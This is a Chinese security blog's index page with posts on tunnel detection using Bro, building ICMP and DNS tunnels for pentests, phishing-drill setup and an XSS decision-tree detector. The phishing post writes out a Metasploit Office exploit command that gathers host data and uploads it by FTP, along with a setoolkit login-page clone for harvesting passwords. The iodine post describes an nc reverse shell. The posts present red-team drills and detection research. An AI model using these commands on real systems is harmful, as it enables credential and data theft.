L's tale


  • 首页

  • 归档

  • 标签

  • 分类

  • 关于

Security+备考总结

发表于 2019-03-30 | 分类于 心情

前言

这段时间过完年安排工作计划,并且报了一个Security+的认证一直都没怎么看,上周疯狂抱佛脚加上运气爆棚,居然考了800分还拿了培训机构的2000块现金奖励,心里还是很开心的。很多人问为什么要考这个证书,首先CISSP年限不够呀~关注了一下Security+还是有一些含金量的而且有些潜力,事实证明这个考试还是有些难度的。年轻人多考几个证也不碍事,关键是不太贵,偏向于理论与实战结合。下面简单的给大家分享一下我的备考经历。

考前准备

1.针对与新人、学生建议看每一节直播课程,老师会结合自己的工作工作经验讲解课程,可以帮助学生理解知识。
2.备考期间建议官方指导手册至少看两遍以上,我在结合自己的做题库时发现有些题目并没有在讲义中提到但在官方指导手册中都有明确说明。在观看官方手册时一定要仔细,任何一个描述都可能成为考点。如果这本书能记下百分之九十,那800分我觉得不在话下。
3.拖图题都是原题且比较简单不用担心。
4.在备考时有一些同学比较注重刷题,其实知识主要还是在于理解,选择题均不是原题。我建议题库不要超过3-4遍,做完每一遍把错题看一看理解题目的考点。疯狂的刷题会导致在考试时觉得题目非常陌生。

考试注意

1.考试的某些题目会和模拟题的题型不同,会有提供一个场景、日志、命令结果等信息让你判断选项,这些题需要理论和验实战知识结合。
2.考试遇到某些题目会特别长,需要快速阅读抓住题眼,时间还是比较紧张的,我考试差点没做完~还好后面加速了。
3.考试尽量不要在不确定的题目上耽误太长时间,打上标记回头再来想哪个选项的可能性最大。
4.做题时不知道怎么选的时候,结合自己的工作经验想一想,如果是你应该怎么做。
5.题目一定要多读,理解题目意思,不能想当然,老外喜欢下套。

后语

大家尽量多准备后再去考试,我感觉自己没准备好就去了,最后祝大家考试顺利~~

基于bro的安全场景研究测试-ICMP隧道

发表于 2018-12-19 | 分类于 安全建设

前言

本次我们来研究以下ICMP隧道建立后可以从哪些特征中进行检测

准备工作

环境搭建参考:基于Ptunnel建立ICMP隧道

工作原理

通过关闭ICMP隧道服务端的ICMP响应功能,让ICMP隧道agent接管ICMP报文,两端把通讯数据包封装到ICMP报文的DATA字段中进行传输。
默认的windows ping包,DATA内容固定包含:abcdefghijklmnopqrstuvwabcdefghi,payload长度默认32字节
image
默认的linux ping包,DATA内容固定包含: !”#$%&’()*+,-./01234567,payload长度默认48字节
image
通过ICMP隧道传输SSH数据时如下图
image

问题1:一次隧道通讯是否会记录在一条flow中

建立一个超长隧道连接后发现,一次隧道通讯记录再一条flow中
image

检测方法

  1. 收集各系统的默认ping包大小,出现异常ping包(需要数据包层bro的日志层无法解决)
  2. 同一个主机窗口时间内出现多个不同大小的ping包(需要数据包层bro的日志层无法解决)
  3. 同一个主机窗口时间内出现大量ping包(需要数据包层bro的日志层无法解决)
  4. 一条ICMP flow持续时间超长且通讯数据较大

基于Ptunnel建立ICMP隧道

发表于 2018-12-18 | 分类于 渗透测试

前言

       在某些渗透测试环境下,获得了一个主机的权限但是该主机没有访问外网的权限,对于这种较为严格的网络环境,第一时间想到的就是隧道技术。常见的隧道技术有SSH\DNS\ICMP\端口转发等,大多数端口都存在被禁用的可能,但是ICMP作为基础服务被禁用的可能性却极小,在常用协议都被禁用的情况下可以考虑使用ICMP隧道。

网络拓扑

image
内网主机10.10.10.0/24除了ICMP通讯不能主动访问外网任何资源,20.20.20.101为hack的ICMP隧道服务端。

准备工作

由于通过ICMP协议建立隧道,为了让隧道服务端能够处理收到的ICMP报文,需要禁用系统本身的ICMP响应机制,这里先关闭hack机器的ICMP响应机制

1
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

Ptunnel的使用

安装需要的依赖包并编译Ptunnel

1
2
3
4
# yum install libpcap libpcap-devel flex bison -y
# tar xf PingTunnel-0.72.tar.gz
# cd PingTunnel
# make

Ptunnel常用的参数

  • -p 指定跳板机的IP
  • -l 指定转发本地监听的端口
  • -da 指定最终要访问的目标主机
  • -dp 指定最终要访问目标主机的端口
    PS:跳板机要有访问目标主机的权限!

在hack机器上开启ptunnel隧道监听
image
在client1连接跳板机20.20.20.101,访问client本地的8000端口,跳转到跳板机本地的22端口
image
查看本地已经监听8000端口
image
client1连接本地8000端口即可通过ICMP隧道连接到跳板机的22端口
image
也可以通过ssh over icmp隧道,建立socks代理访问外网
image

基于bro的安全场景研究测试-DNS隧道

发表于 2018-12-16 | 分类于 安全建设

前言

       最近搭建了隧道的实验环境,想研究一下各种协议隧道通讯的记录情况,在某些环境下企业限制内网机器访问外部资源但放行了DNS流量,黑客会使用DNS隧道来传输数据和执行命令,这次我们先看看DNS隧道使用过程中的数据包情况。

准备工作

       前两天我使用iodine先建立了DNS隧道通讯的环境,环境搭建的方法可以参考:https://rosetscmite.github.io/2018/12/13/%E5%9F%BA%E4%BA%8Eiodine%E5%BB%BA%E7%AB%8BDNS%E9%9A%A7%E9%81%93/

问题1:DNS隧道建立后有哪些特征

DNS隧道建立后依靠不断发送query信息来判断隧道存活性
image

问题2:DNS隧道传输时有哪些特征

通过DNS隧道传输时,客户端将数据编码后作为主机名向DNS服务器提交,DNS服务端解码后读取数据
image
主机名的长度可以通过iodine的参数来调节默认的长度为255,可以通过调短主机名长度来提高隐蔽性,下图与上图为同一个操作,把iodine的主机名长度设置为100后,FQDN的长度明显缩短,但请求次数会增加,因为传输的数据量不变
image
iodine可以不发送标准的DNS报文,直接发送特定畸形的DNS报文来传输数据,这种传输方式规避了特定的记录和主机名,由于数据包非标准格式,流量检测设备也无法解析,对溯源造成困扰
image
image
image

问题3:DNS隧道client端是如何接受命令的

在隧道服务端向客户端发送命令,通过查看DNS记录可以发现服务端通过回复心跳记录将命令编码后放在Answers字段发送给客户端,客户端解码后读取命令并执行,将回显信息通过Query请求出去,服务端解码后读取回显信息
image

问题4:DNS隧道传输文件时是否会记录再一条flow日志中

通过标准DNS数据包记录传输数据时,数据通过主机名和Answers进行传递,每一组DNS请求与回应记录到一条flow
image
image
image
通过畸形DNS数据包传输数据时,由于数据包畸形没有解析到DNS记录,传输数据时记录到一条flow日志中
image

实验结论:

从实验结果看出,DNS隧道主要分为两种模式一是将数据编码通过主机名进行传递,一是通过畸形DNS数据包进行传递,检测方法如下:

将数据编码通过主机名进行传递的方式:

  1. 检测每个域的主机名数:因为绕过DNS记录缓存,DNS隧道发送的记录都是不同的(包括心跳包),所以可以检测窗口时间内同一个域下的主机名数量来判断异常
  2. 检测DNS域名长度:通过DNS隧道传输数据时,FQDN长度一般会较长与正常域名
  3. 检测DNS不常见记录类型:统计窗口时间内同一个域下不常见的记录类型数量

通过畸形DNS数据包进行传递的方式:

  1. 单个DNS flow的数据包较大
  2. 单个IP时间窗口内检测到较多畸形DNS数据包

通用检测方式:

  1. 每个IP地址的DNS流量异常
  2. DNS服务器的地理位置异常
  3. 访问非受信的DNS服务器

基于iodine建立DNS隧道

发表于 2018-12-13 | 分类于 渗透测试

前言

       在某些渗透测试环境下,获得了一个主机的权限但是该主机没有访问外网的权限,对于这种较为严格的网络环境,第一时间想到的就是隧道技术。常见的隧道技术有SSH\DNS\端口转发等,大多数端口都存在被禁用的可能,但是DNS作为基础服务被禁用的可能性却极小,其次使用DNS隧道可以增加通讯的隐蔽性,这里我们就尝试使用DNS协议来建立隧道。

网络拓扑

image
内网主机10.10.10.0/24除了udp/53端口不能主动访问外网任何端口,20.20.20.102模拟为权威服务器,20.20.20.101为dns隧道的server端。

准备工作

DNS隧道分为两种模式:

  • 直连模式:客户端直接连接外网hacker_dns服务器,但部分企业不能访问非受信的DNS服务器,可能会导致连接失败。
  • 中继模式:在权威DNS添加NS记录分配子域名服务器,客户端通过访问权威DNS服务器,权威DNS对hacker_dns服务器进行查询再返回给客户端。
           

这里我们采用中继模式,先新建ns主机的A记录,A记录指向hacker_dns服务器
image
再委派子域解析分配到hacker_dns服务器
image
image
在主机10.10.10.102解析测试ns1.rosetsec.com
image

iodine使用

下载地址:https://code.kryo.se/iodine/

启动服务端:

1
iodined -c -P roset -f 1.1.1.1 iodine.rosetsec.com -DDD
  • -P 隧道密码
  • -c 不检查客户端IP和端口
  • -D 调试信息等级
  • -f 前台执行便于调试
    image

启动客户端:

1
iodine -f -r -P roset iodine.rosetsec.com
  • -r 使用dns主机名来传递数据(默认直接修改DNS7层数据包数据来传递数据)

image
隧道建立完成后,在客户端ping对端隧道地址1.1.1.1可以发现ping包通讯成功绕过防火墙限制
image
可以看到ping包走的DNS协议传输
image
尝试用NC反弹一个shell,在客户端开启端口1234端口反弹一个/bin/bash
image
在服务端连接shell执行命令成功,传输全程走dns协议
image

基于bro的安全场景研究测试-RDP

发表于 2018-12-03 | 分类于 安全建设

前言

       最近突然有些想法,想要通过流量分析平台来查看一些安全行为的记录。想了一下就干脆开启一个专题课程,每一课对一种协议提出问题并操作,查看产生的记录,分析并解答疑惑,让自己的技术和对攻防检测的理解更加扎实和深入。本次我们对RDP协议提出一些问题并验证结

准备工作

通过搭建Bro+ELK的平台,来分析网络中的流量,环境搭建可以参考:https://logz.io/blog/bro-elk-part-1/

问题1:RDP端口未开放的连接,网络数据什么样?

正常的mstsc一般会发送3次请求,应用层发送数据和接受数据均为0,原始发送数据包长度为52bytes,原始接受数据包长度为40bytes。
image
偶尔会出现两个连接记录到一条日志的情况
image

问题2:RDP端口开启,但认证失败或没有进行认证,数据包什么样

rdp端口开启连接成功,但没有进行认证server端会返回2次5-6个包,这时应用层发送数据和接受数据已不为0
image

问题3:RDP连接成功,数据包是什么样

大小看操作时间、画面传输量等
image

问题4:通过RDP远程桌面复制文件到目标主机,是否记录在一条网络连接中

以传输一个150M的视频文件为例
image
经过确认,rdp远程桌面传输数据包会记录在一条网络连接的流量中
image
image

问题5:遭受暴力破解的情况下会生成什么样的流量

我是用nrcack进行了10次密码尝试得到的所有网络连接如下:
其中有数据传输的记录为10条、第一条为成功登陆的记录,从数据包中可以看出失败记录数据包固定为1604成功的数据包记录为2363,差距较小,上图中其他的数据包判断为破解程序线程太高被服务器丢弃导致
image
image
再使用hydra尝试10次登陆,同样有10条有数据包通讯的记录但是hydra的数据包大小与nrcack不同,可见数据包大小作为暴力破解的判断不能准确得出结论。而且hydra并没有暴力破解成功(字典存在的情况下,hydra真的没nrcack好用)记录的网络连接如下:
image

问题6:从数据包中得到远程登录用户名

cookie字段代表的是登录的用户名,不过在数据包中存在截断问题
image
image
cookie字段可以被工具伪造~
image

实验结论

1.可通过返回包的大小和个数判断主机是否开启3389端口,若没有开启那频繁连接多个主机的3389端口则存在扫描嫌疑
2.如果一个主机频繁针对3389端口发送较小的数据包可能存在暴力破解的嫌疑,该阈值我觉得5000以下
3.如果一个主机对多个主机的3389端口产生较大的连接,那可能在通过rdp协议传播蠕虫病毒文件。(PS由于蠕虫病毒文件大小不一且大部分情况下较小,通过阈值来判断可行性有待研究)
4.根据一些特殊的cookie来检测是否存在异常登录行为

利用Maltego平台生成攻击溯源图

发表于 2018-11-10 | 分类于 安全建设

前言

       最近没啥事打开kali想玩玩没有用过的工具,就打开了Maltego,很早以前用过但没有深入的研究过,就去官网看看文档,对自己公司收集一些信息,发现画出来的图还不错,其中的关联关系表达较为清晰。刚好看到Maltego支持自定义的Transform,突然灵机一动,最近公司在研究攻击溯源图,那我能否通过自定义的Transform来生成一份攻击溯源图呢?

行动开始

       我们从elasticsearch中抽取告警数据和日志数据来进行分析,所以这里先写好一个需要调用的es查询语句的class,由于Maltego本身是一个社工平台,一般不会由多个元素作为条件去溯源数据,所以本身的框架只支持引入一个上层变量,其他的变量需要手动输入,所以这里写的es查询语句中,我依照现有的数据把src_address字段写死。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#!/usr/bin/python
# -*- coding: UTF-8 -*-
# developer: Lawliet
# dsl.py

class dsl(object):
# 定义ES地址
def es_ip(self):
es_host_ip = "172.16.100.29"
return es_host_ip
# 根据源地址获取告警
def Dsl_alert_from_srcip(self, src_ip):
body = {
"size": 0,
"query": {
"bool": {
"must": [
{
"term": {
"src_address": src_ip
}
}
]
}
},
"aggs": {
"group_by_alarm_name": {
"terms": {
"field": "alarm_name",
"size": 100
}
}
}
}
return body
# 根据告警获取攻击源地址
def Dsl_srcip_from_alarm(self, alarm_name):
body = {
"size": 0,
"query": {
"bool": {
"must": [
{
"term": {
"alarm_name": alarm_name
}
}
]
}
},
"aggs": {
"group_by_srcip": {
"terms": {
"field": "src_address",
"size": 100
}
}
}
}
return body

# 根据源地址和目的端口获取目的地址
def Dsl_dstip_from_srcip_and_dstport(self, dst_port):
body = {
"size": 0,
"query": {
"bool": {
"must": [
{
"term": {
"dst_port": dst_port
}
},
{
"term": {
"src_address": "172.16.100.21"
}
}
]
}
},
"aggs": {
"group_by_dstip": {
"terms": {
"field": "dst_address",
"size": 100
}
}
}
}
return body

# 根据源地址和告警获取目的端口
def Dsl_dstport_from_alarm_srcip(self, alarm_name):
body = {
"size": 0,
"query": {
"bool": {
"must": [
{
"term": {
"alarm_name": alarm_name
}
},
{
"term": {
"src_address": "172.16.100.21"
}
}
]
}
},
"aggs": {
"group_by_dstport": {
"terms": {
"field": "dst_port",
"size": 100
}
}
}
}
return body

# 根据源地址和告警获取域名
def Dsl_domain_from_alarm_srcip(self, alarm_name):
body = {
"size": 0,
"query": {
"bool": {
"must": [
{
"term": {
"alarm_name": alarm_name
}
},
{
"term": {
"src_address": "172.16.100.21"
}
}
]
}
},
"aggs": {
"group_by_domain": {
"terms": {
"field": "domain_name",
"size": 100
}
}
}
}
return body

# 根据源地址和告警获取目的地址
def Dsl_dstip_from_alarm_srcip(self, alarm_name):
body = {
"size": 0,
"query": {
"bool": {
"must": [
{
"term": {
"alarm_name": alarm_name
}
},
{
"term": {
"src_address": "172.16.100.21"
}
}
]
}
},
"aggs": {
"group_by_dstip": {
"terms": {
"field": "dst_address",
"size": 100
}
}
}
}
return body

       当发生了一个告警时,我们想要通过该告警去溯源整个事件发生的过程及影响范围,图例:我们检测到发生“主机扫描特定端口后发起针对该端口的攻击”,通过自定义Transform来查询发生该告警的源地址,Maltego支持任何脚本,因为Maltego直接调用系统命令执行脚本。
image

Transform代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Author: Lawliet
# alarm_to_srcip.py

from elasticsearch2 import Elasticsearch
from MaltegoTransform import *
from dsl import *
import sys
reload(sys)
sys.setdefaultencoding('utf-8')


def alarm_to_ip():
dsl_search = dsl()
es_host_ip = dsl_search.es_ip()
es = Elasticsearch([{'host': es_host_ip, 'port': 9200}])
body = dsl_search.Dsl_srcip_from_alarm(alarm_name=sys.argv[1])
res = es.search(index='incident_alarm_20181106', body=body, request_timeout=60)
alarm_list = []
alarm_count = []
for aggs in res['aggregations']['group_by_srcip']['buckets']:
alarm_list.append([aggs['key'], aggs['doc_count']])
me = MaltegoTransform()
for i in alarm_list:
me.addEntity("maltego.IPv4Address", i[0])
me.returnOutput()
if __name__ == '__main__':
alarm_to_ip()

       添加自定义Transform操作如下,“Entity Value”指的是上层实例的值作为参数传递进脚本进行查询,filed为自定义参数。
image

这里一共新增了6个我们需要用到的溯源逻辑

  1. 根据告警搜索源地址
  2. 根据源地址搜索告警
  3. 根据源地址和告警搜索域名
  4. 根据源地址和告警搜索目的地址
  5. 根据源地址和告警搜索目的端口
  6. 更具源地址和目的端口搜索目的地址
    image

    效果展示

           通过定义好Transform最终溯源出下图,随着定义的Transform越来越多,能覆盖更多的溯源场景。
    image

    总结

  • 首先Maltego平台的绘图能力强,但是Transform只能引用上一层的“Entity Value”来做过滤条件,导致脚本无法自动产生多个过滤条件,所以无法直接使用Maltego来绘画溯源图,本文只是从Maltego借鉴其优点。
  • Maltego在查询时有incoming和outgoing的概念,借此概念来绘制线条方向,点击实例时,incoming和outgoing线条加粗,可下钻到其他的实例查看相关信息,整个Detail view栏也是不错的功能,可以看到数据类型和该数据的来源。
    image
    image
    image
  • Maltego通过预定义脚本来查询数据并展示结果,如果通过封装的Transform实现对日志的图形化分析,效果会如何呢?

记一次钓鱼邮件攻防演练环境准备(2)

发表于 2018-07-16 | 分类于 渗透测试

前记

       上一篇文中,解决了前半部分的发送问题,这篇主要想讨论一下钓鱼的一些思路及实现方式。目前常见的钓鱼方式有如下几种:

  • 发送恶意附件,客户运行后在客户端植入木马病毒
  • 发送钓鱼网站链接,来获取用户账户密码
  • 发送存有恶意代码的网站链接,利用浏览器漏洞在客户端植入木马病毒
  • …

方案1

       通过发送恶意附件,利用各种程序漏洞,在目标机器执行代码是钓鱼的常用技巧,现在有些漏洞的利用难度越来越低,也让钓鱼成功率大大增加,此案例1就以利用office漏洞为例,在目标执行office文件后,执行命令收集目标机器的账户名和IP地址,这里是通过自建一个自动上传至ftp的bat文件把主机信息收集起来。

1
2
3
4
5
6
7
8
#使用office漏洞作为附件收集机器信息
use exploit/windows/fileformat/office_word_hta

#使用exec执行命令收集
set PAYLOAD windows/exec

#设置执行语句,在本地获取信息后发送到ftp服务器
set CMD cmd.exe /c whoami >> info.txt && ipconfig >> info.txt && echo @echo off >> info.bat & echo ftp -n -s:ftp.cfg >> info.bat & echo open xxx.xxx.xxx.xxx >> ftp.cfg & echo user test 123 >> ftp.cfg & echo prompt off >> ftp.cfg & echo bin >> ftp.cfg & echo put info.txt >> ftp.cfg %random%%random%.txt & echo bye >> ftp.cfg && info.bat && del ftp.cfg && del info.txt && del info.bat && exit

image

image

image

方案2

       通过邮件模拟企业内发生的事件,引诱用户点击钓鱼链接,来获取目标账户密码信息,加强此方案的成功率需要注意以下几点:

  • 发件人地址与邮件内容相关责任人相似
  • 邮件格式风格,logo等与企业相似
  • 钓鱼站点与真实站点相似,这里可以结合站点克隆工具或直接下载站点前端源码
  • 钓鱼站点域名与真实站点相似
  • 尽量选在中午12点-下午2点之间,此时间段非集中工作时间段,钓鱼的成功率较大

       这里使用setoolkit克隆目标站点,来获取上钩目标的用户密码信息。

1
2
3
4
5
6
7
#运行setoolkit,依次选择1>2>3>2
#设置监听端口(实际情况下需要公网地址)
set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.218.128]:
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
#设置克隆目标站点
set:webattack> Enter the url to clone:https://oa.xxx.com/defaultroot/

image

image

后记

       钓鱼邮件主要还是多以上级发送给下级索要敏感信息、爆发紧急事件等类型来降低目标警惕性,用户在查看邮件时要注意发件人是否为假冒的相似域名,称谓是否反常,URL链接不要轻易点开等。

记一次钓鱼邮件攻防演练环境准备(1)

发表于 2018-07-08 | 分类于 渗透测试

前记

       近期可能得帮客户做一个钓鱼邮件的攻防演练,本来以为写个python调用一下几个大厂的smtp发送一下就完事了,没想到几个大厂的安全措施做的还是不错的各种拦截,哈哈。也不敢到网上用别人的smtp,最后没办法就自己动手在本地搭建一套smtp服务器去实现了,初步计划在本地自建Named+postfix实现邮件发送,然后用python调用smtp把邮件发出去,如果对方有all组的话就不用批量发了直接发给all组就可以了,搭建后测试效果发现还不错。因为是自建的服务器没有什么安全设置,可以把域名设置成和对方相似的域名,这样增加钓鱼的成功率,并任意添加账户,账户名可以和对方高层一样。
       关于结果收集方面还没想好,本来以为可以直接上个url比较简单,但是对方从内网访问到公网的ip记录下来的ip是出口ip,这样就没法定位到是哪个员工中招了,除非对方有浏览器漏洞,在钓鱼的页面插入pyload记录本地地址,但是这很依赖用户的浏览器版本。目前的想法是做一个word,利用word较新的漏洞,去记录本地信息并回传到我们的服务器,但这在目标机器执行了代码,估计还得协商一下哈哈。

DNS服务器搭建及配置

  • 安装named
1
yum install named
  • 修改/etc/named.conf主配置文件设置监听的端口,配置文件,转发请求等,主要修改内容为:
    • 把listen-on port 53、listen-on-v6 port 53、allow-query改为any,允许所有人访问dns服务器
    • 添加 forward first、forwarders {114.114.114.114;}; ,在本域解析不了的请求发往114.114.114.114查询
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

options {
listen-on port 53 { any; };
listen-on-v6 port 53 { any; };
directory "/var/named";
dump-file "/var/named/data/cache_dump.db";
statistics-file "/var/named/data/named_stats.txt";
memstatistics-file "/var/named/data/named_mem_stats.txt";
allow-query { any; };
forward first;
forwarders {114.114.114.114;};

/*
- If you are building an AUTHORITATIVE DNS server, do NOT enable recursion.
- If you are building a RECURSIVE (caching) DNS server, you need to enable
recursion.
- If your recursive DNS server has a public IP address, you MUST enable access
control to limit queries to your legitimate users. Failing to do so will
cause your server to become part of large scale DNS amplification
attacks. Implementing BCP38 within your network would greatly
reduce such attack surface
*/
recursion yes;

dnssec-enable yes;
dnssec-validation yes;

/* Path to ISC DLV key */
bindkeys-file "/etc/named.iscdlv.key";

managed-keys-directory "/var/named/dynamic";

pid-file "/run/named/named.pid";
session-keyfile "/run/named/session.key";
};

logging {
channel default_debug {
file "data/named.run";
severity dynamic;
};
};

zone "." IN {
type hint;
file "named.ca";
};

include "/etc/named.rfc1912.zones";
include "/etc/named.root.key";
  • 修改/etc/named.rfc1912.zones添加解析域文件
    • 添加test.com域的正向域解析文件
    • 添加218.168.192.段的反向解析文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
zone "localhost.localdomain" IN {
type master;
file "named.localhost";
allow-update { none; };
};

zone "localhost" IN {
type master;
file "named.localhost";
allow-update { none; };
};

zone "test.com" IN {
type master;
file "test.com.zone";
allow-update { none; };
};

zone "1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa" IN {
type master;
file "named.loopback";
allow-update { none; };
};

zone "1.0.0.127.in-addr.arpa" IN {
type master;
file "named.loopback";
allow-update { none; };
};

zone "0.in-addr.arpa" IN {
type master;
file "named.empty";
allow-update { none; };
};

zone "218.168.192.in-addr.arpa" IN {
type master;
file "192.168.218.in-addr.arpa.zone";
allow-update { none; };
};
  • 创建正向解析文件test.com.zone,并添加MX和A记录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#从模板复制到test.com.zone文件
cp -p /var/named/named.empty /var/named/test.com.zone

#文件内容test.com.zone
$TTL 1D
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
MX 10 mail.test.com
www A 192.168.218.111
mail A 192.168.218.155
  • 创建反向解析文件192.168.218.in-addr.arpa.zone,并添加MX和PTR记录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#从模板复制到192.168.218.in-addr.arpa.zone文件
cp -p /var/named/named.loopback /var/named/192.168.218.in-addr.arpa.zone

#文件内容192.168.218.in-addr.arpa.zone
$TTL 1D
@ IN SOA @ rname.invalid. (
0 ; serial
1D ; refresh
1H ; retry
1W ; expire
3H ) ; minimum
NS @
A 127.0.0.1
AAAA ::1
MX 10 mail.test.com
PTR test.com
111 PTR www.test.com
155 PTR mail.test.com
  • DNS指向本地IP,启动named服务器并测试结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#启动服务
systemctl start named

#测试结果
[root@localhost ~]# nslookup mail.test.com
Server: 192.168.218.155
Address: 192.168.218.155#53

Name: mail.test.com
Address: 192.168.218.155

[root@localhost ~]# nslookup 192.168.218.155
Server: 192.168.218.155
Address: 192.168.218.155#53

155.218.168.192.in-addr.arpa name = mail.test.com.218.168.192.in-addr.arpa.

Postfix服务器搭建及配置

  • 安装Postfix
1
yum install postfix
  • 修改主配置文件main.cf,主要的配置参数如下:
    • myhostname:设置邮件服务器主机名称
    • mydomain:设置域
    • myorigin:设置组织
    • inet_interfaces:设置监听IP
    • inet_protocols:设置监听协议
    • mydestination:设置邮件接收域
    • mynetworks:设置本地网络
    • relay_domains:设置转发哪些外域的邮件
    • home_mailbox:设置邮箱目录
1
2
3
4
5
6
7
8
9
myhostname = mail.test.com
mydomain = test.com
myorigin = $mydomain
inet_interfaces = 192.168.218.155
inet_protocols = all
mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain
mynetworks = 192.168.218.0/24
relay_domains = all
home_mailbox = Maildir/
  • 启动postfix并测试结果
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#启动服务
systemctl start postfix

#测试结果
Connecting to 192.168.218.155:25...
Connection established.
To escape to local shell, press 'Ctrl+Alt+]'.
220 mail.test.com ESMTP Postfix
helo mail.test.com
250 mail.test.com
mail from:jack@test.com
250 2.1.0 Ok
rcpt to:tom@test.com
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
test jack
.
250 2.0.0 Ok: queued as 478604037620
quit221 2.0.0 Bye


#查看用户邮箱信息
[root@localhost ~]# cat /home/tom/Maildir/new/1531024382.Vfd00I4037626M605433.localhost.localdomain
Return-Path: <jack@test.com>
X-Original-To: tom@test.com
Delivered-To: tom@test.com
Received: from mail.test.com (unknown [192.168.218.1])
by mail.test.com (Postfix) with SMTP id 478604037620
for <tom@test.com>; Sun, 8 Jul 2018 00:32:42 -0400 (EDT)

test jack

python调用smtp服务器

       这个地方踩了坑比较多,本来想用本地的smtp发送个邮件到QQ邮箱,结果发不出去,看一下日志,我靠我家的IP被封了?我都没用QQ邮箱,之后我又往google发,也告诉我IP信誉度低被拒收了,感觉我家的IP被人盗用了:(,后来测试往163发没有问题,这里真吐槽一下QQ邮箱的防护,发一个subject“项目进度”都是垃圾邮件~
image
image
       第二个问题就是邮件的编码问题,一开始我的[‘From’]和[‘TO’]是这么写的,结果收件人显示乱码。

1
2
message['From'] = Header("张总", 'utf-8')
message['TO'] = Header("全体员工", 'utf-8')

image
       在网上查了一下,[‘From’]和[‘TO’]以变量的形式引入才不会乱码,至于效果我在163邮箱是得到证实的,不过每个邮件系统可能还有区别,需要多去测一测。

image

最后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#! /usr/bin/env python
# -*- coding: UTF-8 -*-

import smtplib
from email.mime.text import MIMEText
from email.header import Header

sender = 'jack'
receivers = ['18756994059@163.com']

mail_host = '192.168.218.155'

message = MIMEText('test mail', 'plain', 'utf-8')
# message['From'] = Header("张总", 'utf-8')
message['From'] = "%s<jack@test.com>" % Header("张总", 'utf-8')
message['TO'] = "%s<18756994059@163.com>" % Header("全体员工", 'utf-8')
message["Accept-Language"] = "zh-CN"
message["Accept-Charset"] = "ISO-8859-1,utf-8"

subject = 'test'
message['Subject'] = Header(subject, 'utf-8')

try:
smtpObj = smtplib.SMTP(mail_host, 25)
smtpObj.sendmail(sender, receivers, message.as_string())
print "邮件发送成功"
except smtplib:
print "邮件发送失败"

后记

       至此,前面的发送阶段应该问题不大了。重点是如何把钓鱼的结果收集上来,后面先测试一下用OFFICE文件进行钓鱼的效果,目前也只想到这一种较好的方法,访问统计由于只能统计到出口地址应该是不可行了。

利用决策树检测web攻击

发表于 2018-07-02 | 分类于 机器学习

前言

       AI目前在各个领域的使用都非常广泛,安全领域多年前就想引入AI来帮助加强威胁检测能力,但由于安全问题的多变性和多面性,我目前觉得AI在安全领域的能力还没有得到很好地表现,目前AI本身主要是基于样本学习,安全威胁的样本太过于多样,想要收集这些样本只有大体量公司的才能做到,或者类似威胁情报做法,大家共享样本,不过数据的来源主要还是依托于巨头公司的业务,在目前数据就是资产的环境下, 我想没有哪家巨头愿意共享出自己的数据,其次样本的分析也需要大量安全专家长时间的工作累积,所以感觉AI安全还是有很长的一段路要走。
       刚好最近公司大佬在研究AI算法检测安全威胁,也跟着学习了一些,想自己做个利用决策树检测web攻击的模型,直接上代码。

实战代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Author: Lawliet

import os
from sklearn import tree
from sklearn.feature_extraction.text import TfidfVectorizer


X = []
Y = []
with open("./sample/xss-20000.txt", 'r') as f:
for line in f:
X.append(line.strip())
Y.append(0)
with open("./sample/good-xss-200000.txt", 'r') as f:
for line in f:
X.append(line.strip())
Y.append(1)

tfidf2 = TfidfVectorizer()
Xr = tfidf2.fit_transform(X)
clf = tree.DecisionTreeClassifier()
clf = clf.fit(Xr, Y)
print "Model build success"

Z = ['<script>alert(1)</script>','a','script','alert','xss','open','onerror=alert(1)']
print "Test sample list:"
print Z
print '\n'
Zr = tfidf2.transform(Z)

print "detection..."
for i in range(len(Z)):
if clf.predict(Zr)[i] == 0:
print "alert_payload: " + Z[i]

运行结果

image
       后面想订阅公司kafuka的队列,通过模型来检测web攻击,并尝试优化模型的检测能力和测试误报率。

123
L.Lawliet

L.Lawliet

24 日志
7 分类
29 标签
© 2020 L.Lawliet